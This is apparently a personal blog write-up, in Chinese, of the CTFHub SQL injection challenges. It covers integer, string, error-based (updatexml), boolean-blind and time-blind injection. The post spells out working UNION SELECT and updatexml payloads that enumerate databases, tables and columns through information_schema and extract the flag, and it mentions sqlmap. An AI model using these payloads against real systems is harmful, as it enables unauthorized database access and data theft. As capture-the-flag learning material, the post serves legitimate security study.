CTFHUB web题 sql注入

整数型注入

limit子句用于限制查询结果返回的数量,常用于分页查询

select * from tableName limit i,n
# tableName:表名
# i:为查询结果的索引值(默认从0开始),当i=0时可省略i
# n:为查询结果返回的数量
# i与n之间使用英文逗号","隔开

# 
limit n 等同于 limit 0,n

 

进去看见了输入的界面(输入值之后下面会显示sql语句,比较方便改正)

看了一些博客和wp

首先得判断是否存在sql注入(等会另写一篇博客)

输入 1 and 1=1 页面无异常

输入 1 and 1=2 页面报错

可以确定存在整数型sql注入

页面显示有ID和DATA,两个回显(到时候输出的时候也要补住两个回显)

1 order by 2 页面正常,1 order by 3页面显示不正常,说明字段数量为2

之后通过 -1 union select 1,2 来确定回显位置(确定sql语句插入位置,同时 -1 无法返回值)

 

至此前期的准备工作结束

 

之后就要获取具体的数据

首先获取数据库名

database()确定数据库名称,version()确定数据库版本

id= -1 union select 1,database() 确定当前数据库名

id= -1 union select 1,version() 确定是什么数据库(目前其实这几个题似乎并不需要用到,好像都是mysql,不过感觉以后做题的话应该是要的,不同的数据库,语句也会相应额产生相应的变化)

获取所有数据库库名

id=-1 union select 1,group_concat(schema_name)from information_schema.schemata 从information_schema中获取所有的数据库的名称(这个库的作用我记在了有道云笔记上,过会搬过来)

实际上先前已经获得了当前的数据库名,在这题中不必重复操作

可以通过SQL中的limit()逐条输出数据库名

获取数据库表名

id=1000 union select group_concat(table_name),3 from information_schema.tables where table_schema='sqli'  由此一次性输出了sqli中的所有的表,得到有news和flag

(同时可以一条一条的输出表名id=-1 union select table_name from information_schema.tables where table_schema='sqli' limit 0,1 通过更改limit后面的值去一条条的输出)

获取字段名

获得flag表中有哪些字段

id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'

得到只有flag

可以想到所需的flag就在flag表中的flag字段里

获取flag

id=1000 union select *,3 from sqli.flag 得到flag

 

 

字符型注入

其实这题整体和整数型注入没有什么大差别就是用到了 ' 和 # 来改变和注释掉了数据库中的一些指令

其余的套着上面的就行了

 

报错注入

有一说一,虽然看了很多博客,但是还是对这个感觉有点懵逼,按照我目前的理解,报错注入就是认为的运用一些函数的机制报了错,并将自己注入语句写入其中,使报错时能返回自己所需要的数据

报错注入无法直接从页面上得到回显,所以需要借助界面的报错(前提是界面存在报错)

 

存在十种报错注入方式,最常用到的三种报错注入方式分别是:floor()、updatexml()、extractvalue()。

 

首先输入1,界面没有任何显示,只显示了 ‘查询正确’,尝试着使用整数型注入的payload去注入,结果依旧是只显示 ‘查询正确’

之后尝试输入字母 a ,显示报错并提示了具体位置,存在报错注入

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称。
第二个参数:XPath_string (Xpath格式的字符串) 。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值。
由于updatexml的第二个参数需要Xpath格式的字符串,以~开头的内容不是xml格式的语法,concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。

 

updatexml()报错注入公式: 1 union select updatexml(1,concat(0x7e,注入的语句(payload),0x7e),1)

 

根据公式,套入上方整数型注入的payload,可以逐步得到flag

同时有一点需要注意,回显长度可能受限,所以有时候需要改变回显的字段

求字段值:输入1 union select updatexml(1,concat(0x7e, (select(group_concat(flag)) from sqli.flag) ,0x7e),1);,得到:ctfhub{9cfda82fce31eec39ee79d7c

只爆出了一部分flag,应该是回显长度受限,于是用到right函数,输入 1 union select updatexml(1,concat(0x7e, right((select(group_concat(flag)) from sqli.flag) ,31),0x7e),1); 得到另一部分flag:31eec39ee79d7c78a8215374d2caaa}

 

right(str, num):字符串从右开始截取num个字符
left(str,num):字符串从左开始截取num个字符
substr(str,N,M): 字符串从第N个字符开始,截取M个字符

 

布尔盲注

感觉很麻烦,界面只显示了成功与否,然后需要通过注入语句判断是否正确,去一个个的确定各种值(通过ASCII码比较大小)

实际应用肯定是需要使用python编写脚本的,或者使用sqlmap之类的工具

我闲繁琐直接用sqlmap去解决了(参考自这篇文章:https://blog.csdn.net/jiuyongpinyin/article/details/108014950)

想了想还是应该试一试使用python编写脚本去解决,明天去试试

另外有种感觉,目前这几种SQL注入其实都是可以说是一种类型的

 

时间盲注

和上面的布尔盲注很相似,无法从界面上得到比较明显的回应,所以决定通过时间的长短来判断正确与否

同理,很麻烦,使用sqlmap来完成

格式化的步骤,查数据库,之后tables,之后schema,之后columns,查到

 

之后的几题基本都是这样做的,没有什么营养也就不写了,唯一值得注意的一点是似乎使用UA注入使用sqlmap失败,感觉可能是python3的问题,之后用python2下一个试一下

放一个看的大佬的wp:https://www.cnblogs.com/anweilx/p/12516632.html

 

到此,CTFhub中sql注入题写完

 

 

 

posted @ 2020-10-27 20:07  zap162  阅读(56)  评论(0)    收藏  举报